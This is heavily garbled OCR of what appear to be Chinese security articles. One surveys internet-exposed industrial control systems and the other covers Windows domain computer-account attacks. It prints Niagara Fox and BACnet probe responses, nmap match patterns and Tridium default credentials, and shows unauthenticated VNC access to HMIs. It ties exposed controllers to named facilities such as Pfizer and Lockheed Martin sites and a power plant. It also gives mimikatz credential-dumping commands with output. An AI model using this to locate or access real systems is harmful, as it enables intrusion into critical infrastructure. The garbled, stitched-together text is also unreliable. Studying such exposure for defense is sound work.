FARTRANE;

REMN—--ERHE T FETIRENRZEAEFEANGER., EXMAMENTFEIICEIREM
FERERYBAES I, AREIREP, RAAABERRPAHENZI, BZRY. BNV E.
EIESHREEHRESR

BACnet 12 EHIRBIFER:

Vendor ID

Vendor Number

Object Identifier

Firmware Revision

Application Software Revision

Object Name

Model Name

Description

Location

Broadcast Distribution Table (BDT)

Foreign Device Table (FDT)
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BERE AMEFIR R T RBEREXREMIRMEER

DSC-1212E ‘=<0

Instance ID: 1@@

Object Hame: East Syracuse RTU-1

Vendor Name: Delta Controls

Application Software: v3.4@

Firmware: 189697

Hodel Mame: DE3C-1212EF

Pescription: Location: &bowve (in ceiling) Enterence door to Storage Rm 209

Esh contact- Rob (cell) o[

Hear court room

BACnet Broadcast Management Device (BEMD):
10,219,.66,115:47608

Niagara Fox FIFEZ Rl :
Fox Version
Hostname
Host Address
Application Name
Application Version
Station Name
VM Name
VM Version
OS Name
Time Zone
Host ID
VM UUID
Brand I

Niagara Fox 1% & RIE SENT N Rl :

fox a 0 -1 foxhello\n{\nfox.version=s:1.0.1\nid=1:255149\nhostName=s:192.168.1.11\nhostAd
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21.4

BERE AMEFIR R T RBEREXREMIRMEER
SR ¥R

g0 EFRIR, AARNETUEEHVREREE, 2R T MMARSS, 250 Shodan A BinaryEdge,
ENHATTRAPERERN ENENIRE, EREHEICS k&, Bl MHTIRINEE, MMmH
MEME CSRAXBIABTHEFRRIGCESE/NEETEAENER. mathRa, 1 Shodan A [E],
BinaryEdge IR AT RMNEW, DMEBATITIRPAAFIRERY ICS IR%E, BEAXGHEVEER. BN
TERAX—BRAAR, BNEZHEMIBECH IP it EE REBUBEH(ELLULEE 1P tilt, BA%
BRHIEEHA T2 ERERIFIRE Maxmind, T Shodan M APl RILIZEAVHIRAI BHER T
EHITEZNE, AT, EEARICHIILFAENICS %% (4 BinaryEdge %), BIIFERE &
AgRe ThIa)ARBR, EXMINRIEERS. FMERNIRENHRZBNARTEE—HN:
Modbus

Siemens S7

Tridium

General Electric

BAChnet

HART IP

Omron

Mitsubishi Electric

DNP3

EtherNet/IP

PCWorx

Red Lion

Codesys

IEC 60870-5-104

ProConO

AT EhEREERENIRE, FNFEFME 1,573,564,566 1 IP #itlt, H#HTHE. HITHIIE

EMAFEENRAZIME L, B ERE TIRIRENERINR O RERORIEN, ML, RIF2
{3 masscan SR TR, BT EMNRANCLEIDN, PTMLEELLHE] nmap IENRIAN R FTTEIIK:
https://svn.nmap.org/nmap/nmap-service-probes, #&l Niagara Fox & &RIIENMRIAX LT :

matchniagara-fox m|"fox a 0 -1 foxhello\n\{\nfox\.version=s:([\d.]+)\nid=i:\d+.*\napp\.na
¥ Allen-Bradley B IEARSZ23HV1ENIFRIAZLAI T :
matchhttp m| “HTTP/1\.0 200 OK \r\nServer: A-B WWW/([\d.]+)\r\n.*<imgsrc=\"/images/rockcol

B, NTIRBEZ1EE, HA1EE(ER Nmap Scripting Engine (NSE) B, {15 &£ 1EfHEAY
payload CAMEFNBREUR FHHAE, ENPWHAERZN, MEBELHEIKRESHESZNEE S, B
BIANRGERNIZZ2IER LM,
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FHIR L A KamerkaKamerka B35 — P hRAR A E R AIMA L EMERG K. BT, ESRTE
T EWRNEIRAPBAHAFZENE T BIAEEWHHESENEEEN R ELE T AEWNES, et
AT EINEREA K TFRINENR G RN AN ERES . REEXMHREIAENEN
eRPBBAEARSESHHUINENERMOLNERAMRGLAAEFEENOM, S8, MRS
FRHARIERGL, ALt Kamerka A9 Z MRAERE THEINL. EEEWENIHMIN MQTT) FMEHER
X (RTSP), FREXLENFRIPAS, MAEEA, I, RSN MQTT B # X AR A E

EeeERigs, WERRHBHONEZNERIE. FANRE LB PETHTIEARIZ & T :
5 I || 1883 Lo Disconnect )

Publish Scripts  Broker Status Log

ny-power/upstreamy fuel-mix/Wind

ny-power /computed/co2 my-power/ upstream/fuel-mix/ Hydro
S | Retained SRR
f ry-power/ upstream/fuel-mix/ Nuclear
ny-power/upstream/fuelmix/Hydro Qas0
Dump Messages  Mute (Gl | oy power/ upstream/fuel-mix/ Other Renewables :
ny-powerfupstream/fuel mix/MNatural Gas Q050
B Mg piute (DI | rv-power/ upstream/fuel-mix/ Natural Gas
| Retained JReCH
ny-power fupstresm/fuebmix/Nuclear
ny-power/ computed/co2
Dump Messages Mute  (EECEEETE Qos0
Ny-pawer /ups! tuetmix/Qther ny-power/ upstream/fuel-mix/ Wind
Durp Messages Mute m_ Qos0
.... ny-power/computed/co2
Dump Mossages Mt
Topics Collector {0) Scan

Kamerka E&E—THRARMHAFA#ENERN TEREHGEERMFBENERRREE
t, EREEEMTE Pt EAGR. DXARRTRHOER=MRL, MIXKERTIIEE
ERE 2.6 FRIRE. FOFUERAYE/ B R R FIE 2 R EIEFA G E ML Elasticsearch ALY
EEIFEE, ATRTNEMENIRS, RItEE EEE—LEEN, TITMNRIERANES,
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HRREMN 1.5 FaR&HE) O 5900 (Virﬁual Network Computing) FFEAIR & :

Calgary

" Ikt s
: Karsas ity ﬂ L.?%.ﬁv

Mﬂfﬁiﬁﬁf“

iglﬂﬂd wﬁﬁu:“%

£ Tucson
= dad Tt
Coviann % i.
soart 'N W i, Jacksoriie
oG San ANIOnKD ‘ 4 R \
ottt Dbregdn :
/ S v
kb Saniio ; LN
Vancosser, .
Folonsd W ooy Winrupeg
Red Lion Controls G303
1 TCT West
Y1
It.ldh-d
Mapd
Boise
aal el -
Salt Lake D'*%jlé"‘
ity Lincaln vl
it I sas
Tidsa
Ly m -
Albutes 4
P
LT
) Tapua A i)

Red Lion Controls ii# [ 789 FF i AR

21.5 BiEAT
ERNTHIBEAAIRG 2B, BIERA—

®5n

Tuegon

TR, REMRANARNEE:
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Frontier Communications
e | o 3

CwWwaw.angquan ke.com )

E/
=Y

2

Mf) &5 /™ B AU T 72 ©

Charlotte (2

Atlanta (13,

Chicago {9,15%)
Mew Orl 3

Los

College Park (3,77
Washington (4 01%)

_ Seattle (4 Denver (6.3

_Minneapolis (4,42%) Philadelphia (£32%2 ( www.anquanke.com )

FFEYR O -
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2= ( www.anguanke.com )

g5 A ICS IxO:
1911

47808

4911

502

44818

gl 5 AEHERO:
80

443

8080

8443

22

21.6 WEMR

LRI, RZJREEIRO 80, 443 3¢ 8080 #RE T EIREMR, ITFEFARA AR AENLEFREE
MiZER MEMEERIRE. AT, NRENBEFRE, XTBRLENMZIEMECHER. KA
ZEEN TIRRERYHENIRERE D BEANRENEE, FRERENBEEEIEXEM RS

5 ASRENAE X< B EIE )5 DA K B2 1Z{E FA P LE THBE LK BN 215 B 2l 2 22 A e iR ,
Platform daemon credentials

Any JACE controller is shipped with default platform daemon (administrator) credentials, for example:
Username: tridium Password: niagara

Initially, you use these default credentials to open (login) a platform connection to the JACE. Like the fac-
tory-assigned IP address, default credentials are temporary. Following conversion of the controller to Niag-
ara 4, and during your startup commissioning, you must replace this platform admin account with at least
one different platform admin user. Be sure to guard the credentials gr such platform users closely.

NOTE: Unlike in NiagaraAX, the Niagara 4 Commissioning Wizard does not allow you to commission and
startup a controller while retaining the factory platform user.
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http://www.critifence.com/default-password-database/

BRZSEREAZEHIRD 80 3 8080 iB1T.

EXPL{ JRER

BY JOHNSON CONTROLS

Fresno_Magnetic Observatory

- Username:
b o
L )

. Password:
& =
'._.,.ul'l —-

Login

Lnderground Railroad

1 Usemame:| l

I e

Llze of thiz software is subject tothe
End User License Agreement and oitier Theo Fady Licenses

SERVER

LOGIN

Password:| | oOK|
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 TRACER SUMMIT®

Site Mame: bhas

Username: |

Password: |

S22 American Standard Inc

Facilty Automation
Speotatists

o, WA MERERAREERNENSR, EREFnRBM. ARNMETI NE A, 25

BB ERBENEET BN DR,
Established
1988

‘E"Midatech, I‘n“c.

s LML L, Coraghp WIS« P (100 ST4-SEHS < Fa (T $54-3454 ot

Usermame L
Login |

=
Use of thig solware iz subject to the

REREREZTATANLAATLAMNE SNMNERE. 2HER. FITRENIRE. XEHH—

MiEtR, FIABBIBABREFTBITEMIRENTER A .
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LR 1766-L32BWA B/15.00

Mirirnize Home ™%
E Horms
ﬁ Diats Yisws Cevice Nam=a 1766-L32B WA Bf1S, 00
fﬁ‘ User Provided Pages Cevice Desciption MicroLogix 1400 Processor
'D!ia mostics
g : Cevice Location
Adrministrative Settings
25 Revision Series B FRM 13,0
HTML File Revision 2.3
Curren t Timme RTC is disabled
CPU Made Rermote Run

Copuright @ 2008 Rockwell Autormation, Ino 5l "qi_;_ljt'e- Srzsnad

WREABZBIUL THMBNHRNRASHBENTIZIRE, BLMRENEEMESERE
ZFA, EREIP i, FREIE. MXHISRMRRSEE. ERZEN THEZERINE DNS &
25, MR SMAR BT A,

1785-ENET Ethernet Module

TCEIP Configuration

IP Address 192.168.1.150
mubnet Mask 233.255.253.0
| Gateway Address 192.168.1.1

| MName Server N W

| Secondary MName Server ||| | 39 AN 2
Detault Dotnain Mame * MNot Configured *
BOOTP Enable |
Ethernet Address

([ www.anguan

I

FEIRIRE LBITERFINEN VNC U HIERERE. ZEBRARNZEENSE, X2 THEN
IR E RN B CHEMIZHRE TH., NIEENREREXEE/NE—FE— I F IR
PERBIARINRH T EIZHIZIRE . A, BRINARBEMAHKEENMRBEEEER— T FNF i,
FRARY VNC #7E5% 0 5900 £ M ANIZE (HMI) 5HIE1T.
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2= Services

/85
cp
redlicn-
crimson3

1723

tcp
PRLR

5900

Red Lion Controls version: G203

Manutacturer: Red Lion Conktrols

Model : G363

Firmware: 1

Hostname: local

Yendor: linux

VNC

RFB @3, Eeb

authentication dissbhbled
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Shutdown
VALVES
POWER
INSTR.

DEVICES
BATTERY

SYSTEM CHECK

PROCESS
TOP FILL

OPEN VALVES

AUTO:  AN-3

¥ALYE SEQUENCE

MANUAL: .25, V-4 -5

END PROCESS

I HE-3

054.9 024.4 020.6 041.5 084.0 048.1
AR DGR VEVELfe400i, | | LIQUEILENEL (0] A ARARIENT TENBE] MEEDRiEER :2|§IE}T
386.0 305824 091.3 -0213 091.0 051.7
(:ﬁg‘gﬁ:ﬁr} e DISCHARGE TEMP (°F) VAP IHLET TEMP (F) CPUMP TEMP (°F} CPUMP (P51}
SYSTEM STATUS | ppocess SAFETY  HEATERS MAINT ALARMS EMAIL SETTING
POWER
HTR PWR I = L =
FB & O {
FB2 ?’! o < Y3
FB3 Wy i 32 o ‘ 7w s
AV-1 =4 =g -
AV3 e u__fm
PUMP "

BOTTOM FILL

PUMP QN LOAD

; B o5
PUMP RECIRC |

PBUFEED

"PUMP OFF LOAD

VNC IR B A RERBNE—HI; FEFISEEIRE LMKD 80 ARXFIIENTER TIRE HMI,

HAREMGERERHITREEEHIFLFLR.
| Cc n © Hotsecure _

| No alarm

CLEAN WATER TANK
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[m[m| = |w.m |
[o3 [on | awo |ston]|
['pa [on | auo sop |
.PSI w- Auto ‘lﬂ
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RS0 Detantion Tank -
R50 Detantion Tan [ p’ﬂ;‘j

o o]

P105

P04 B 1

1| |[ TR0 Spinpra Metais Precipitant |

Spinpro - 1000 Coagulant

o [ol| moos ||
5 Dram

lul " Abowe Bottom

‘ Ll 66" At Bottom

lw 647 Abeve: Bottom

5 HIP Centrifugal Pump

AQUA BIOj

AUTOMATION

RAEIBEERET, HMTE DRI EZTMIREE RN S —T 18152 HMIL, HMI &K
BIETHREFNER, ARESHMEBEFIIENRKAE W&, BELETRNEANR
RO IRE LRSS A RIZENAER.

IR FE U BNE N R BEMIRIE ARG, BMNEZHFRTAESEKREXNIRE, FlM, BB
FEHRRVIZFFTEERZBEREEHASHFREMDANE, HENTFEAAMSEHBFAE2REEMUR
M. A4, WEHLEIATTRBEMIZEIIZFMERD? R NERERNEHFHEFEGMENE
SIRFMAHRBARR Y, E-MAEMESEITE R TSR IREVERFNEFIERIR, AR,
90 EFRA, Niagara Fox Al BACnet BRMERIRBE N ZIKTEAES, EHEATERBIR. RAKIRHEAIZTR,
FEHEHEENER, BMMEEKRIIERNERY. 1P HEBEEMOHA—EERRN, EXSEifAT)
A EBRENZ /B R R, MBEBLMMRRES EREIZIRE IR TMRENE., 7 HIERMN
YA, BB —LERE, HAFEEIH AMEENERKRIINEERERTMES AEHRBEX
AR, KAEKRGATI AN LR, KAEKRGATW BT REEMIZR, SEITEZIRIA,
AT IEREURFKMMmE &AMt =B, T X1EGIF, Niagara Fox iZ&H) “station.name’
FERPIKEE T iR ER,
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Niagara Fox ‘ersion 1.0

fox a @ -1 fox hello

T
fox.version=s:1.0.1
id=1:1@9

hostHame=s:1@.4.1.1@
hostAddress=s:1@2.4.1.1@
app.name=s;station

app.version=s:3.8.111

ym.name=s:Java HotSpot (THM) Cliemt WH
ym.version=s:1.5.8 81-b@f

os.name=3: QN

os.versions=sif.d.1

station.name=s:Waste _Water_Treatment_Plant

lang=s:en
timeZone=s:&merica/Chicago; -21600000; 3600000; 02: 80: 00. 800, wall,march, 8, 0n or after,sunday,undefined; @2: @
2: 00.000,wall, novenber, 1, on or after,sunday,undefined
hostId=5:Qnx-NPHEE -288@-1917-5315
ymluid=s:11e984fc-ad7e -6c00- D000 - PODODDDAIEIF
brandld=s:FacExp

sysInfo=o:bog 61[<bog version="1.8">

<p m="h=haja" t="bh:Facets" w=""/>

<fbogs

]

authfAgent TypeSpecs=s:fox:FoxlsernameFasswordauthAgent
tii

fox a 1 -1 fox rejected

i

tii

IP IR EUIE M RIFMAMINAE HE & 14 S (IP geolocation points to 14 Summer Street
inBurlington, Vermont), FEREIAAIEKI 1.5 RE,
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BTEMERE, T—HHRBEREETNERNE LNE 2 E 7 RE&E TR R E R
WERBR. CFEH@TIHRERRZIUE[/N, ROFRENRERR QL. ITEARPEFEZRR
ERE, ZLRBNUERRETRET, MEEEAFEERIMIEE UMEREUZZRYUE

=
B/Svo

fax
Niagara Fox ersion 107

fox a @ -1 fox hello

{
fox.version=5:1.08.1
1d=1:58

hostHame=5:192.168.1.1@
hostaddress=s:192.168.1. 1@
app.name=s:5tation
app.version=s:3.6.406.2

um.name=s:Jlawa HotSpot (TH) Client WM
um.version=s:1.5.8 34-b28

05, fname=s:QNX

os.yersion=s:z6.4.1
station.name=s:Pfizer_PearlRiver_NY_FTFP

lang=s:en
timeZone=s:fAmericasNew_York; -13200008; 3600000; @2: 02: @8, @@, wall, march, &, 0n or after,sunday,undefined; @2:
202: 00, 222, wall, november,l,on or after,sunday,undefined
hostId=s:Qnx-NPHEE -@2@2-1601-61a8
umbluid=5:11e2a71f-9272-a826-0000 -20020220933
brandId=s:ComfortPoint

sysInfo=o:bog 61[<bog wersion="l.@">

<p m="b=haja" t="b:Facets" u=""/>

<jfbogs

]

authfgent Tvpespecs=sifox:FoxllsernamePasswordduthfgent
Fii

foxia 1 =1 Ffox rejected

{

}ii

“station name’’ B} T FRTEL <“I2ERIE” (Pearl River). FRTEMN “ZHZ9” (New York) FZH LR 4, ¥ &FR
“Welm” (Pfizer),
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]

AD1 N Middistown R, Puail River NY 10468 USA
RIS Pract River, Drangetown, NY, USA

pfieas com

+1 5456025000

Cipan vy Cipen 24 hoars.

SO d

Managu this listing

[ Suggest anedi

Google . - -+ 2= (wiwanguanke.com)

MM ELMiIERE, BIPBREERERNNAAEERRIERZ—.
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PEARL RIVER, NY

Site Statistics:

Location: Orangetown and Clarkstown, Eaockland County, WY

Pfizer Worldwide Research and Development areas of focus:

e Yacrines

« Oncology
Manufacturing Capabilities: Antibody Drug Conjugates

In-market products supported:

« Prevnar 13
« Trumenba
e Mylotarg
« Besponsa

+ HMimenrix

Total acreage owned by Pfizer: approximately 320 acres
Developed land: approximately 22.9 acres

Mumber of buildings: 4

Mumber of employees and contractors: more than 750

Pearl River is-one of Plizer's nine majo: R&L sites:
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o

Bnkegom )

Google

ETr T\ ATE ERRRIRE HAFE RS ERSEIAA SE L2 I REL SN E S | R A EIAYRER
EFUFETSE. RERBAIZAITHRNR ZIEFIA T RITFIEREER, ErTUEREEN—TMF
& Piedmont Efz, EARMIF, WIMUEBERE—-#E. WHHMMAENMN.,

Tracer SC ercion 2630 Hwherl2aB-hydra

s

Instance ID: 10000

Object Mame: Clearview MOEB
Location: 2151 W Spring 5t Monroe, G& 3@655-3115

Wendor Name: Trane

fpplication Software: wd4.40.1224 (release]
Firmware: 2.6.38 HuwWerlZaB-hydra

Model Mame: Tracer =F

XEMAHIEE U RENRIRFHN— PO F—-- T IR ERIUEEBIMEESE 1P HEEUR
EE.
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(i3 Yo 4
o
e ' G
{2 % & &0

3.4 miles

734 Lacy StreetO" ¥

e 4
\%{‘r ,;( i
e J 4 Falker Park @
S o
= = "“r:m iy
11 min \:}“x i
5 il = if
| 35 miles | S [
e |
- | ®
L}
+
e
5 i _
&
£
Google ® B

ARG, EEBER3.S5 REIL—--F8FHA 2151 5 (2151 West Spring Street),
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AERGR, (RAMMEA MG EEZIBRYMNATER, SEENS TEEH—RER, &
BENE. #RENI &FF. ERBIPRBUGHIERERNX —1T1ER. MAINELNRTE 7Z
RIENARERZZESDEMENER . EATREBERIZREH LR, SRXMEURT
HIRERISTIRAE.
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BitgRe MEFIBFIR T AKSEEEXBEM IS HER
ciose | covertevr ) ] st oor 1) ) secona Foor 2

’l \I Lower
Level

Education
Hoom ¥ Medmal Records
- 1
Mountain m '
Thyme Dietary F
4 caté b |
NS4 O |
Coanoe‘;ﬁ‘nce Z 4 Loadin
- = @ Doc
Plant  Facilities/
Operations Operations
is————
NORTH
Lagerd
. B Qur entire campus is tobacco-free,
(%) Public Etevatr (1] Telephone (i) Waiting AreaRecaption Smoking is not allowed,
B8 suirs (%) teses Station. (o] Vending
(3] tnformation Restrooms () am

BERITALEEIRTT A IR BF, RAESEMRBMTEETWNHEWSBTIRE. RBRERNGER
M, HRMEWHMTEESTE. ETHRIHNMNEKRENEARE, ERERWGRSHNTIZ—,
PlanEr=mHNER KL ESHESREVNTH AT REEMEH MR, FiE, HIITEHRE P ith
EEMUES, EREERAETERNPLO., URAFEEEZMN, HMNMILERIENUERES.
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Niagara Fox version: 1.0

fox a @ -1 fox hellao

i
fox.version=s:1.8.1
id=1:796983

hosthName=s:15%2.1658.1.124

hostéddress=s:192.168.1, 124

app.name=s;5tation

app.versions=s:3.8.111

ym.name=s:Java HotSpot(TH) Client WM
ym.wersion=s:1.5.8_81-h@f

05, name=s QN

os.wersion=si6.4.1

station.name=s:BailegPuwerPlant Core

lang=s:en

timeZone=s: AmericasNew_York; -15000000; 3682000; A2: 8a: @2. @88, wall,march, &,0n or after,sunday,undefined;d2:
B@:@B.@Ba,wall,nouember,l,on or aFter,sunday,undeFined
hostId=s:Qnx-HPHEE -@@@2-15F 7 -E&DE
umbuid=5:11e86b32-a07a-5742 -0000- 000000280141
brandId=s:distech

sysInfo=o:hog 6l[<bog version="1.@">

<p m="b=baja" t="b:Facets" w=""s>

<fbog>

]

authfgent Typeipecs=s:ifoxiFoxllsernamePasswordiuthAgent
Tii

fox a 1 -1 fox rejected

i

Yii

“station name”’ JFAEHIREA T IR BFIRARIRF AT BER FRITNEE A%l
= Bailley Power Plant, Patierson Au } ( F = '_"' . |

Bailey Power Plant
Patterson Ave

Wimston-Salem, NC 2N

usa

Photos

(8] Add aphoto
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BT ZENE_(Winston-Salem) B—REJFRMKFE] , BILHTT T EIASET TIFSE.

388 fey Pdy

tepper Building
1928) Art Deco

HE A/ E RS T BT VR SE A SR EH BN GIENEZM R FIERERUREEANHITERE,
ARMMNNRAERE, BLAMSREERRE, BEMBUER, HAMEEHREZASNRIR, M
MR FE MR,

304



BERE AMEFIR R T RBEREXREMIRMEER

Niagara Fox

fox a @ -1 fox hello

i

fox.version=s:1.@.1
id=1:887@

hostHame=5: lockheedaxsup
hosthddress=s:1127.8.a.1
app.name=s:Station

app.version=s:3.7.106.8
um.name=s:Java HotSpot (TH) Server WH
wm. version=s:23.7-bdl
0s.name=s:kWindows 2283
0s.Wersion=s:5.2
station.name=s:Lockheed Martin A¥X Sup

lang=s:en

timefone=s: s Eastern; -18200000; 3600008; 82: @2: @2. 202, wall,march, &,0n or after,sunday, undefined; 22: 00: 2.
203, wall, november, 1, on or after,sunday, undefined
hostId=s:Win-6541-086E -EJE@-9479
vmbluid=s:c547aBa?-362a-4bfd-84df -7E5558826¢cca
brandId=s:vykon

sysInfo=0:hog 61[<hog version="1.@">

<p m="b=bgja" t="b:Facets" v=""s>z

<fbog>

]

authfgent TypeSpecs=s:fox: FoxlUsernamePasswordduthAgent
EHH

fox a1l -1 fox challenge

i

method=s:basic

tis

&
Archbald
Pothale

State Park’

247)

5
it

Blakely

P 'Qf've;:

B
0 T
5 ity A & %

3]

Olyphant Jessup

(E47)
2 )

Throon

WIEEMEONEYERE T MR A HTIE (Clarks Summit), sRITAERFHE- DT (Lockheed
Martin) AS)FEE 11 RE,
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MEWMAIREX T ZE MR R EERIEXES.

Lockheed Martin's 350,000-square-foot Archbald facility is 2 full-service Missiles and Fire Control {MFC} mission area that provides design, manufacturing,
engineering, and field service and support to its domiestic and internaticnal customers. The site supports two product lines: Precision Guided Systems (PGS} and

Nuclear Systems.

MFC Archbald’s PGS line of business designs and manufactures air-to-ground weapon and training systems for the U.S, Mawvy, U.5, Air Force and international

customers. PGS products include the Paveway ™ |l Plus Laser Guided Bomb (LGB} kits, Enhanced Laser Guided Training Reunds (ELGTR} and the Paragon ™ direct

attack munition—an innovative all-weather direct attack munition,

Archbald supports two primary sets of customers in our Nuclear Systems line of business. On the military side, it hias provided safety-critical nuclear instrumentation
and controls {I&C) systems for naval submarines and aircraft carviers for over 80 years. Its systems operate aboard all U.S. Mavy nuciear submarines and aircr

carriers deployed worldwide,

SR ERN S R ERHAIRSIE, HATTUME BRI ERY.
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Z2E (www.anquanke.com )

BAE U LR MR MR BERBRABRM, BARKIEQGEE,

BE

EMER B AL TIEN, S xBEMREN TIZRENL2EHIESE, MESRNNTBERL,
SEZEREMRENARZRZEYE, BLAMSRBERETRNIREMERENF, LHESIREHES
ERI— P REITWATEIR . EAEHSHRMEAINEE R EES | R IR, LEWEREHRMAEEZS NG
x, BMNFEEIANRE, XETWHEEKREFMERMBABRLEENLER, RS T HOARETEHK
A TR & ANt Z RO R A -

RSB eATERRMTohENERE —-ARARIREEN TIEEMIZEAEH ATEFERX
KRN FNARUREMEN G ERAMERNAR . HAMIER (TTPs), EF—1 ICS/SCADA &
&5 +2 Conpot,

RARAGMH— 25 TIRRELENRABE AIFIRRERE, XERARAGRRADESRE
B BN EFREANT

HIRLE—-8 T A#sHE, MERNMAEREFRESREERENERRE Z—. A,
EBIRXLEEIRH RN RNESEEREA.

TH—-EME— @l NEEEX, 8XRARARZBIZHRTEZE, ARNWEE
TA—Y R TANEN, BEXTHRTANTEMELE.

RIEE, HNIEMAMAENSE, EBRITTURRMS T AT ERTBIRENIREEENEIRER
1TH. S8, HIRBWRBETLEN LN, MAIEBRSMKE, MHANFRIBZLRNEANFR
—MiE.

AT ARER—LERRSE e -
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FERETESEEERE N
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&SRR JUEEA. KRRER.
CND i, DNS m&RAMmS e .
B S

R
1 e
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(=. =&mip L o | |
EEME: BHDDOS. CCH .- T 5 5/
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EREM FRER, 2B
KREgEit. MEENNR. $BRFES
BE. TE=ER. MM

4ENETTTD
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www.codesafe.cn
www.codesafe.cn

- Windows iZFRIsZARI AP -TT ALY RIBS

F&: 17 @ FRIVILNE

SR http://galaxylab.com.cn/windows 13 R4F7RRO A -1 BN R IBR/
BRI ENINAIG AR, {£A ADExplorer E&IZITENMEL:

Attribute

£| accountExpires
) badPasswordTime
] badPwdCount

oo

=] codePage

:"l countryCode

] distinguishedName

] dNSHostName

g'l dSCorePropagationData
#] instanceType

#] isCriticalSystemObject
£| lastiogoff

ﬂ lastLogon

E] lastLogonTimestamp

#] localPolicyFlags

=] m5-DS-CreatorSID

:'l name

ﬂ nTSecurityDescriptor
g'] objectCategory
E'l objectClass

#] objectGUID

] objectsid

'#] operatingSystem
=)

#] operatingSystemVersion
#| primaryGrouplD

=] pwdLastset |

=] sAMAccounthame

g'l sAMACcountType

=] servicePrincipalName

'] userAccountControl

fl uSNChanged

E] uSNCreated

SI whenChanged

#] whenCreated

=] msDS-SupportedEncryp...

= operatingSystemServic...

Syntax
Integerd
Integer8
Integer
DirectoryString
Integer
Integer

DN
DirectoryString
GeneralizedTime
Integer
Boolean
Integerd
Integer8
Integer8
Integer
Integer

Sid

Integer
DirectoryString

NTSecurityDescriptor

DN

0ID

OctetString

Sid
DirectoryString
DirectoryString
DirectoryString
Integer
Integer8
DirectoryString
Integer
DirectoryString
Integer
Integerd
Integer
GeneralizedTime
GeneralizedTime

Count

L O S = T o O O e e e T = T = T e e T = T S~ S S S SR =

Value(s)

Ox 7FFFFFFFFFFFFFFE

0x0

0

TEST1

0

0

CN=TEST 1,CN=Computers,DC=galaxy,DC=local
TEST1.galaxy.local

1/1/1601 8:00:00 AM

.q

FALSE

Ox0

12/3/2019 2:52:21PM

12/3/2019 12:21: 20 PM

0

5
5-1-5-21-2872092797-3986854212-3595391956-1106
28

TEST1

D:(OA;;WP;5f2020 10-79a5-11d0-9020-00c04fc2d4cf;bf96 7a86-0des- 1 1d0-a285-00a
CN=Computer,CN=Schema,CN=Configuration,DC =galaxy,DC=local
top; person;organizationalPerson;user ;computer
{157B0D64-73 1A-4E2A-96CB-C88B38906F 7A}
5-1-5-21-2872092797-3986854212-3595391956-1236
Windows 7 SEADRE

Service Pack 1

6.1(7601)

515

12/3/2019 12:21: 19 PM

TEST1S

805306369

RestrictedkrbHost/TEST 1;HOST/TEST 1;RestrictedKrbHost/TEST 1. galaxy.local;HOST /T
40986

Ox1857F37

0x1857F2C

12/3/2019 12:22:56 PM

12/3/2019 12:21: 19 PM

AMEIEEFEE TZITENNRT S ER), CIREN sid, RERBIRENE, RPEITE

HUANABRNI RS, windows HAHBIE T L, BTEISEEZENREEE,

URBANNZZ -G EN, FEERSER, LRPTULIRE] system AXER, Kklist
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http://galaxylab.com.cn/windows%E5%9F%9F%E4%B8%AD%E7%89%B9%E6%AE%8A%E7%9A%84%E7%94%A8%E6%88%B7-%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%AF%B9%E8%B1%A1%E6%94%BB%E9%98%B2/

Windows -SRI P -t BT RBEAE

s e s s i ——_ |
Microsoft Windows [fz4 6.1.7601] e _
FRICETE (c) 2009 Microsoft Corporation. {REFFTHE T

C:\Windows\system32>whoami
nt authorityysystem

C:\Windows\system32>klist

£ 0:0x3e7

i test1$ @ GALAXY.LOCAL
7 ar: Krbtgt/GALAXY.LOCAL @ GALAXY.LOCAL

~beros EFANE2EAY . AES-256-CTS-HMAC-SHAT-96

- fr= 0x60a10000 -> forwardable forwarded renewable pre_authent

canonicalize

SHFIE: 127372019 12:23:10 (&)

12/3/2019 22:22:56 (Fih)

12/10/2019 12:22:56 (&)

ANBHELKBRUAERD, XEBHIMENBANTENNRNTEILE, BMITUNMNBZRILEES
BRNEER, #iE, SRAPEFEFER.

MEAERTENNRNELNE, FILAEE) mimikatz, BRHEFLI:

privilege::debug

sekurlsa::logonPasswords
T

[BABDBBA3] Primary

= |sername : TEST1%

* [lomAain - AL AXY

- d51e8F1778d99e63akcd96502 1098089
TdeTadbZIhchTT Zalcah TdaZealio /T Tdeabbobab

wdigest :
* Username . TEST1$ 1
Domain —GOLOMY i
= Password © m)’ CannD5H2r HMRp“RY3wlHUYY68e aUC/1GYBHrT: 3JK=2z_/allag3
HDJ(U? >K71)nG FJZ QZ$VYbENFONZEDK "HsuPy ™ JKBK26T 1@V ZNL /=7YHF

= Username : testl$

= [Domain : GALAKY.LOCAL

= Password : Y\m)"CEnpnD5x2r : HNRp“RY3w1HUYV68e aUC71GYBHrT : 3JK=2z_/alag3
" HDJ<U7?.>K?1)nG=Fgz ' Q&$VbE\rON%&Dk " WsuPy ™ JKBK26T 1@Yr ZN& /=7YXF

ssp

credman :

FE
privilege::debug
token::elevate

Isadump::secrets
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Windows -SRI P -t BT RBEAE

$MACHINE .ACC
: ) "C¥npnD5x2r : HNRp "RY3w1HUYVYG8e aUC?1GYBHrT : 3JK=z_/alagd’™ HDJ<UT.>K?
"Q&$VbENFONY&DK " WswPy ™ JKBK26T 1@Yr-ZN4/=7YHF
:d51e8f1778d93e63abcd96502 70989
:defak6234cb f2alcid1d526alf62f f3eathshad

old/text: J\m)"CHnpnD5=2r :HNRp“RY3JwlMUYV6E8e  aUCTIGYBHrT: 3JK=2z /aWagd’ HDJ<UT.>K?
1)nG=Fgz ' Q&$VbEN\rON%&Dk " WsuPy™ JKBK26f 10Yr-ZN&/=7YHF

NTLHM: d51e8f1778d93e63abcd96502 10989

SHAL1 :defabd6234ch?t2abchi7do26a 62T T 3eabbbbab

FINEBRITENNRNELZ 120 MFF, 240 F7, BREEBESTAILFER, SN+
MRAER, EMUTUFAR:

t

t: ‘n\ 9TB \ , 00 j 1;su!l” 4vD<1Wabe

4c 9f 5e 87 5 26|

11

45 2f bf 4f
d 1b fc

BREDI RO ENTHREIURTRR, BT SaitENZ2BRMAEERREFNZEBA RSN
BUREBEEKRN
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BERE Windows SiFR457RRI A -1 BALIS SRIBA

BRRAVTTERE D A AT LA

1. EFTIAL

2. BERITENNRED, EHENNREES P REFNZEEERE,
B-MLEAESEITENRLEER, TUNMEEMAE, BEUTENNRNERE.
EAREESTENNSRBEN T EE™MM:

reset-ComputerMachinePassword

nltest /sc_change_pwd:galaxy.local

M ERmfM TEREASEULEBENIER MENEEE RSN ZE, BBAFTEEEE.

AT nltest, RINERFIEA T netlogon fRSS, Bifith, FEIEA T c:\windows\system32\netlogon.dll
89 NIChangePassword PR%H,
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BERE

Windows SiF457REI A P -1 BT RBBA

windbg 1

Library function Ml Regular function W Instruction Data Unexpl ored Hxternal synbol

[AFunctisng window o0& x

Function name Seqr{

